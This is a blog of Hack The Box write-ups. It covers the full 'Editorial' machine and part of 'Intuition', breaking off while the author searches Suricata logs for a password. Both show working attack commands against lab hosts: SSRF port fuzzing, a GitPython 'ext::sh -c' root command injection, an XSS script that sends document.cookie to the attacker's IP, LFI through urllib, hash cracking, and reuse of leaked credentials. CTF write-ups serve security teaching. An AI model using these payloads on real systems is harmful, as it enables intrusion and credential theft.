Now Loading ...
-
Editorial
Description
Solution
Recon
Applying nmap scan
Nmap scan report for 10.10.11.20
Host is up (0.091s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
we see that there’s a web service on port 80 and there’s a domain editorial.htb should be submitted in /etc/hosts file
when we add the domain to /etc/hosts we can visit the site now
I tried directory brute forcing
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/editorial]
└─$ feroxbuster -u http://editorial.htb
I got no interesting output
I also tried subdomain enumeration
┌──(youssif㉿youssif)-[~]
└─$ ffuf -u http://10.10.11.20 -H "Host: FUZZ.editorial.htb" -w ~/Desktop/tools/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
I got no interesting output
Shell as dev
When we navigate the site and go to Publish with us tab we will go to /upload endpoint and we will see this form.
Preview option is interesting because it has a field that accepts url.
i set up a listener at port 4444 and put http://myIP:4444 at this field and sent the request and i got a response.
Let’s cook this SSRF.
i tried to put http://127.0.0.1 as a URL, but i get this response.
The path provided in the response isn’t very interesting, so i tried to fuzz the target’s port as i may find any local port for the target open.
I changed the url to http://127.0.0.1:FUZZ and saved the request to file.
then i ran this command.
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/editorial]
└─$ ffuf -request req -request-proto http -w <(seq 1 65535)
I found that all the ports return response with the same size which is 61, so i filtered it out and my new command is:
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/editorial]
└─$ ffuf -request req2 -request-proto http -w <(seq 1 65535) -fs 61
-fs 61 : means filter out by size (don’t show result whose response size is 61)
that gave me result on port 5000 only, so i sent the request with this url http://127.0.0.1:5000 and i got this
The response is different now, and when i visit this endpoint i got file with json data whose content is
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
There are many endpoints, but /api/latest/metadata/messages/authors seems to be the most interesting one i will start by it and i will send the request of preview again but the url will be http://127.0.0.1:5000/api/latest/metadata/messages/authors
I also got a path to file under uplaods directory and when i visit it i get its content which is
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
Nice we have a credentials here dev:dev080217_devAPI!@
Let’s SSH and get the user flag.
dev@editorial:~$ cat user.txt
*****************************f9d
Shell as prod
when we get into the machine we will find that we have 2 users
dev@editorial:~$ ls /home
dev prod
I started navigating within the machine
dev@editorial:~$ ls
apps user.txt
dev@editorial:~$ cd apps/
dev@editorial:~/apps$ ll
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 ./
drwxr-x--- 5 dev dev 4096 Oct 16 13:45 ../
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git/
I found .git directory which indicates that there’s a git repositry here.
Let’s examine it.
dev@editorial:~/apps$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: app_api/app.py
deleted: app_editorial/app.py
deleted: app_editorial/static/css/bootstrap-grid.css
<SNIP>
i found many deleted files but the most interesting files were app_api/app.py& app_editorial/app.py
i got these files using git restore <path/to/file> and read them.
app_editorial/app.py: it’s the main app on port 80 and wasn’t interesting
app_api/app.py: it’s the api on port 5000 we saw and it contains the message we got before which has dev account credentials.
more enumeration in the repo
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500
fix: bugfix in api port endpoint
commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500
change: remove debug and update api port
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500
change(api): downgrading prod to dev
* To use development environment.
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500
feat: create editorial app
* This contains the base of this project.
* Also we add a feature to enable to external authors send us their
books and validate a future post in our editorial.
There’s a commit with a message downgrading prod to dev which seems to be very interesting, Let’s get the difference between it and the earlier one.
We have many commits let’s get the difference using git diff first-commit second-commit
I found the a message similer to what we got before but the credentials are for prod user
credentials prod:080217_Producti0n_2023!@
Let’s SSH as prod
Shell as root
Let’s do some enumeration to see the capabilities of prod user
prod@editorial:~$ sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
we see that there’s a python script which can be executed as root and we can pass any parameter
Let’s look at that script
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
After examining the code and searching i found this article
This CVE exists on GitPython package if the version is below 3.1.30
Let’s check the version of GitPython on the machine we hacked
prod@editorial:~$ pip3 list | grep Git
GitPython 3.1.29
So it’s vulnerable
according to the article we provided i used the payload sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned' and when i check the file i see it’s created
prod@editorial:~$ ll /tmp/pwned
-rw-r--r-- 1 root root 0 Oct 19 08:51 /tmp/pwned
The executed command is done blindly so if we want to see the result of command we can redirect it to a file and read that file like using the command sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c whoami% >% /tmp/pwned'
but why we use % ?? after searching i found that it’s used to bypass some filteration but i didn’t find an absolute reason at the end the most logical reason i found from the searches that it maybe encoded as space.
When we read the file now we will get this
prod@editorial:~$ cat /tmp/pwned
root
we can now get the root flag using sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/pwned'
then read this file
prod@editorial:~$ cat /tmp/pwned
*****************************549
GG !!
-
Intuition
Description
Solution
Recon
Apply nmap scan
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ nmap -sV -sC -Pn 10.10.11.15
Nmap scan report for 10.10.11.15
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://comprezzor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 28 17:24:09 2024 -- 1 IP address (1 host up) scanned in 14.61 seconds
Let’s add comprezzor.htb to /etc/hosts file
When i try Web Directories brute forcing using feroxbuster -u http://comprezzor.htb/, I didn’t get important information.
subdomain enumeration
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ ffuf -u http://10.10.11.15 -H "Host: FUZZ.comprezzor.htb" -w ~/Desktop/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.15
:: Wordlist : FUZZ: /home/youssif/Desktop/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.comprezzor.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
auth [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 107ms]
report [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 119ms]
dashboard [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 91ms]
There are 3 subdomains (dashboard,auth,report)
shell as dev_acc
When you navigate within comprezzor.htb, You will find the function of the site is comperssion of text (txt), PDF (pdf), and Word (docx) files uploaded by you using the LZMA algorithm.
i searched for LZMA algorithm CVE, but i could’t find.
Let’s continue.
We have 3 subdomains:
dashboard : accessable by admin only
When you visit it with no admin credentials you will get forwarded to auth subdomain
auth : login and register page
when i create accounts i notice user data cookie in b64
user data cookie in plain
{“user_id”: 6, “username”: “youssif”, “role”: “user”}|3dd219ed9ef9ae06cd1fc02198c330abc769ee67294c918ff7a85dcd4710e1e4
{“user_id”: 8, “username”: “test”, “role”: “user”}|16265245f0ee972ac081d3ea812f4a36eb48feac79fd4e2d4d3b682c60fcf57b
I couldn’t make use of the cookie in this state, but there’s an important note:
The user_id is 6 and 8 etc…, this makes us wonder who has user_id = 1 (we all think it’s admin and it’s our goal)
after logging in also we found us got forwarded to report subdomain
report : report bug functionality
And we have also option to see what happens when we report bug
Every reported bug is carefully reviewed by our skilled developers.
If a bug requires further attention, it will be escalated to our administrators for resolution.
We value your feedback and continuously work to improve our system based on your bug reports.
Reviewing every bug by skilled developer making us to think about XSS, we can try making the report to be xss malicious script to steal the cookie.
I set up listener on port 4444 and made the report title and desciption to be <script>var i=new Image(); i.src="http://10.10.16.12:4444/?cookie="+btoa(document.cookie);</script>
After submission i received this on the listener
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.12] from (UNKNOWN) [10.10.11.15] 48508
GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNaXdnSW5WelpYSnVZVzFsSWpvZ0ltRmtZVzBpTENBaWNtOXNaU0k2SUNKM1pXSmtaWFlpZlh3MU9HWTJaamN5TlRNek9XTmxNMlkyT1dRNE5UVXlZVEV3TmprMlpHUmxZbUkyT0dJeVlqVTNaREpsTlRJell6QTRZbVJsT0RZNFpETmhOelUyWkdJNA== HTTP/1.1
Host: 10.10.16.12:4444
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dashboard.comprezzor.htb/
Connection: keep-alive
decode the cookie and you find that the field is user_data and the decoded value is {"user_id": 2, "username": "adam", "role": "webdev"}|58f6f725339ce3f69d8552a10696ddebb68b2b57d2e523c08bde868d3a756db8
very nice we got access to account with new role which is webdev with user_id=2.
Reaching this makes us wonder who is the user with id=1, but let’s continue.
Let’s go to the dashboard but this time we will use the new cookie we got and we will get the dashboard as webdev like this
The report we submitted is here and have priority 0 and when we click on the ID we see this page
We see we have mawny options but the most interesting is Set High Priority because if you remember in reporting bug there’s steps one of them is If a bug requires further attention, it will be escalated to our administrators for resolution., so we can increase the report’s priority and the admin will review it and we can get the cookie of the admin like we did to get adam’s cookie.
setup listener and click set high priority
and we received this on the listener
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.31] from (UNKNOWN) [10.10.11.15] 37298
GET /?cookie=dXNlcl9kYXRhPWV5SjFjMlZ5WDJsa0lqb2dNU3dnSW5WelpYSnVZVzFsSWpvZ0ltRmtiV2x1SWl3Z0luSnZiR1VpT2lBaVlXUnRhVzRpZlh3ek5EZ3lNak16TTJRME5EUmhaVEJsTkRBeU1tWTJZMk0yTnpsaFl6bGtNalprTVdReFpEWTRNbU0xT1dNMk1XTm1ZbVZoTWpsa056YzJaRFU0T1dRNQ== HTTP/1.1
Host: 10.10.16.31:4444
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dashboard.comprezzor.htb/
Connection: keep-alive
after decoding the value of user_data is {"user_id": 1, "username": "admin", "role": "admin"}|34822333d444ae0e4022f6cc679ac9d26d1d1d682c59c61cfbea29d776d589d9
now we have access to admin account and when we visit the dashboard we find changes
Create PDF Report is the most interesting of them as it asks for url so it maybe vulnerable to SSRF.
I setup a listener and submitted this url
I got this on the listener
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.31] from (UNKNOWN) [10.10.11.15] 34318
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.16.31:4444
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close
after trials we will notice the user agent which is Python-urllib/3.11 which is interesting.
after searching i found that it’s vulnerable and the cve details and poc are here
It’s very simple we put space before the url and this will result an LFI (we can include any local file) as example:
After trials i didn’t know how to reach effective file, but after searching i found /proc/self/environ which will give us how the program is invoked and the output was python3 /app/code/app.py
so we knew the path of source code, let's read it using the LFI we have
<img src="/assets/img/htb/intuition/capture5.png" alt="app">
There's a secret key 7ASS7ADA8RF3FD7` and there’s interesting imports that can tell us more paths about files we can reach
after examining them well we can conclude that the files are ordered in this way
/app
/code
app.py
/blueprints
/index
__init__.py
index.py
/report
__init__.py
report.py
/auth
__init__.py
auth.py
/dashboard
__init__.py
dashboard.py
Let’s read them
index.py
It contains info about the main function of the site (how it works), but this isn’t interesting for us
dashboard.py
Here ftp credentials which is very interesting
we can reach also report.py and auth.py but they weren’t interesting
I tried to access the ftp from the cli using
┌──(youssif㉿youssif)-[~]
└─$ ftp ftp_admin@10.10.11.15
ftp: Can't connect to `10.10.11.15:21': Connection refused
ftp: Can't connect to `10.10.11.15:ftp'
These creds are for local ftp so we can access it through the pdf generator (exploiting SSRF to LFI as we did before), but the payload is ftp://ftp_admin:u3jai8y71s2@ftp.local
This will give us this
we can download the files using ftp://ftp_admin:u3jai8y71s2@ftp.local/filename
The private key is openSSH key
and Welcome_note file is this:
This passphrase will help is to ssh into the target using the key we got before
I searched for ssh using openSSH key and found this article
then, I put the key into file and started converting it into RSA key.
when i do this
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ ssh-keygen -p -N "" -m pem -f key
Enter old passphrase:
Key has comment 'dev_acc@local'
Your identification has been saved with the new passphrase.
the comment mentions the user so let’s ssh into the machine using ssh -i ./key dev_acc@10.10.11.15
and GG we logged as dev_acc and we got the user flag
dev_acc@intuition:~$ cat user.txt
*******************************7
shell as lopez
First let’s know who are the users on the machine
dev_acc@intuition:/var/www/app$ cat /etc/passwd |grep 'sh'
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
adam:x:1002:1002:,,,:/home/adam:/bin/bash
dev_acc:x:1001:1001:,,,:/home/dev_acc:/bin/bash
lopez:x:1003:1003:,,,:/home/lopez:/bin/bash
Okey, we have dev_acc (our current session) and we have adam and lopez who can be our next targets and of course the root is our main goal.
As there was authentication in the site, so we are sure that there’s a database and i think looking for the db files is the best thing to do once you get access on the target machine.
I went to the web directory /var/www/app and used this command
dev_acc@intuition:/var/www/app$ find . -name '*.db'
./blueprints/auth/users.db
./blueprints/report/reports.db
I tried to read users.db like this
dev_acc@intuition:/var/www/app$ strings ./blueprints/auth/users.db
SQLite format 3
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
Etableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
role TEXT DEFAULT 'user'
indexsqlite_autoindex_users_1users
adamsha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43webdevh
adminsha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606admin
adam
admin
users
We are now sure it’s sqlite database we can open the file with sqlite for more clear vision.
dev_acc@intuition:/var/www/app$ sqlite3 blueprints/auth/users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|admin|sha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606|admin
2|adam|sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43|webdev
After searching here, I found that this is Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)) * hash.
Let’s use hashcat to crack both hashes using hashcat -m 30120 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -O
I cracked it before, so to show them i will do this
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/intuition]
└─$ hashcat -m 30120 -a 0 hash.txt --show
sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
I tried to SSH using these credentials, but i couldn’t
dev_acc@intuition:/var/www/app$ su - adam
Password:
su: Authentication failure
We can also try to login ftp as adam
dev_acc@intuition:/var/www/app$ ftp localhost
Connected to localhost.
220 pyftpdlib 1.5.7 ready.
Name (localhost:dev_acc): adam
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||56079|).
150 File status okay. About to open data connection.
drwxr-xr-x 3 root 1002 4096 Apr 10 08:21 backup
226 Transfer complete.
as you see we logged in successfully and also we have backup directory, let’s fetch its content and get it.
note: in the target machine go to /tmp as example and connect to FTP again as you can’t get file in any directory you need a directory you can write in.
ftp> cd backup
250 "/backup" is the current directory.
ftp> ls
229 Entering extended passive mode (|||54641|).
125 Data connection already open. Transfer starting.
drwxr-xr-x 2 root 1002 4096 Apr 10 08:21 runner1
226 Transfer complete.
ftp> cd runner1
250 "/backup/runner1" is the current directory.
ftp> ls
229 Entering extended passive mode (|||36709|).
125 Data connection already open. Transfer starting.
-rwxr-xr-x 1 root 1002 318 Apr 06 00:25 run-tests.sh
-rwxr-xr-x 1 root 1002 16744 Oct 19 2023 runner1
-rw-r--r-- 1 root 1002 3815 Oct 19 2023 runner1.c
226 Transfer complete.
ftp> get run-tests.sh
local: run-tests.sh remote: run-tests.sh
229 Entering extended passive mode (|||34793|).
150 File status okay. About to open data connection.
100% |******************************************************| 318 759.28 KiB/s 00:00 ETA
226 Transfer complete.
318 bytes received in 00:00 (499.27 KiB/s)
ftp> get runner1
local: runner1 remote: runner1
229 Entering extended passive mode (|||40317|).
150 File status okay. About to open data connection.
100% |******************************************************| 16744 18.58 MiB/s 00:00 ETA
226 Transfer complete.
16744 bytes received in 00:00 (12.93 MiB/s)
ftp> get runner1.c
local: runner1.c remote: runner1.c
229 Entering extended passive mode (|||51601|).
150 File status okay. About to open data connection.
100% |******************************************************| 3815 3.70 MiB/s 00:00 ETA
226 Transfer complete.
3815 bytes received in 00:00 (3.03 MiB/s)
Let’s read the content of these files
run-tests.sh
#!/bin/bash
# List playbooks
./runner1 list
# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"
# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"
when i try to run any of these commands i get Authentication failed, let’s look at the source code.
runner.c
// Version : 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <openssl/md5.h>
#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
int check_auth(const char* auth_key) {
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((const unsigned char*)auth_key, strlen(auth_key), digest);
char md5_str[33];
for (int i = 0; i < 16; i++) {
sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
}
if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
return 1;
} else {
return 0;
}
}
void listPlaybooks() {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return;
}
struct dirent *entry;
int playbookNumber = 1;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
printf("%d: %s\n", playbookNumber, entry->d_name);
playbookNumber++;
}
}
closedir(dir);
}
void runPlaybook(const char *playbookName) {
char run_command[1024];
snprintf(run_command, sizeof(run_command), "%s -i %s %s%s", ANSIBLE_PLAYBOOK_BIN, INVENTORY_FILE, PLAYBOOK_LOCATION, playbookName);
system(run_command);
}
void installRole(const char *roleURL) {
char install_command[1024];
snprintf(install_command, sizeof(install_command), "%s install %s", ANSIBLE_GALAXY_BIN, roleURL);
system(install_command);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
int auth_required = 0;
char auth_key[128];
for (int i = 2; i < argc; i++) {
if (strcmp(argv[i], "-a") == 0) {
if (i + 1 < argc) {
strncpy(auth_key, argv[i + 1], sizeof(auth_key));
auth_required = 1;
break;
} else {
printf("Error: -a option requires an auth key.\n");
return 1;
}
}
}
if (!check_auth(auth_key)) {
printf("Error: Authentication failed.\n");
return 1;
}
if (strcmp(argv[1], "list") == 0) {
listPlaybooks();
} else if (strcmp(argv[1], "run") == 0) {
int playbookNumber = atoi(argv[2]);
if (playbookNumber > 0) {
DIR *dir = opendir(PLAYBOOK_LOCATION);
if (dir == NULL) {
perror("Failed to open the playbook directory");
return 1;
}
struct dirent *entry;
int currentPlaybookNumber = 1;
char *playbookName = NULL;
while ((entry = readdir(dir)) != NULL) {
if (entry->d_type == DT_REG && strstr(entry->d_name, ".yml") != NULL) {
if (currentPlaybookNumber == playbookNumber) {
playbookName = entry->d_name;
break;
}
currentPlaybookNumber++;
}
}
closedir(dir);
if (playbookName != NULL) {
runPlaybook(playbookName);
} else {
printf("Invalid playbook number.\n");
}
} else {
printf("Invalid playbook number.\n");
}
} else if (strcmp(argv[1], "install") == 0) {
installRole(argv[2]);
} else {
printf("Usage2: %s [list|run playbook_number|install role_url] -a <auth_key>\n", argv[0]);
return 1;
}
return 0;
}
After analyzing the code we will find important notes.
we have the hash of the auth key AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed" and It’s the md5 of the authentication key.
we already have part of the key from run-tests.sh which is UHI75GHI****, so we can use hashcat or even write a python script for getting the key.
┌──(youssif㉿youssif)-[~]
└─$ hashcat -m 0 -a 3 0feda17076d793c2ef2870d7427ad4ed UHI75GHI?a?a?a?a -O
---snip---
0feda17076d793c2ef2870d7427ad4ed:UHI75GHINKOP
---snip---
We got the auth key UHI75GHINKOP.
After examining the code also we will find that there are 3 possible action: list, run playbook_number, install role_url
run and install are vulnerable to command injection due to the use of system without any input sanitization and install is more clear as the argument passed to it is the last argument in the executed command and we can abuse this to cmd injection.
but we can’t do sudo -l as we don’t have the password of the current user, so we can’t run runner1 as root.
Let look further in the machine
I used ss -tulpn to see if there’s service listening on local port and i found this
dev_acc@intuition:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:53997 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:5353 0.0.0.0:*
udp UNCONN 0 0 [::]:49919 [::]:*
udp UNCONN 0 0 [::]:5353 [::]:*
tcp LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 100 172.21.0.1:21 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:37671 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:4444 0.0.0.0:*
tcp LISTEN 0 100 127.0.0.1:21 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
to access service on local port, we will try port forwarding like this ssh -L 9001:127.0.0.1:4444 -i ./key dev_acc@10.10.11.15, so browsing in localhost:9001 will forward us to port 4444 on the target.
I found Selenium Grid on port 4444, but after searching i found no interesting thing to do here.
Let’s see the running processes using ps -ef.
I found interesting suricata process running.
Then i read the configurations of suricata in /etc/suricata/suricata.yaml, I found that logs are in /var/log/suricata so let’s go there.
we want creds for adam or lopez for ssh, so we will search in these logs for that.
dev_acc@intuition:/var/log/suricata$ zgrep "lopez" *.gz
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.099184+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
I found two interesting events when i searched for lopez for these flows the username is send, we want to track these flows for the password.
dev_acc@intuition:/var/log/suricata$ zgrep "1988487100549589" *.gz
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.098934+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"anomaly","src_ip":"192.168.227.13","src_port":21,"dest_ip":"192.168.227.229","dest_port":37522,"proto":"TCP","community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","anomaly":{"app_proto":"ftp","type":"applayer","event":"APPLAYER_DETECT_PROTOCOL_ONLY_ONE_DIRECTION","layer":"proto_detect"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:43:36.098934+0000","flow_id":1988487100549589,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":37522,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":0,"community_id":"1:SLaZvboBWDjwD/SXu/SOOcdHzV8=","ftp":{"completion_code":["220"],"reply":["pyftpdlib 1.5.7 ready."],"reply_received":"yes"}}
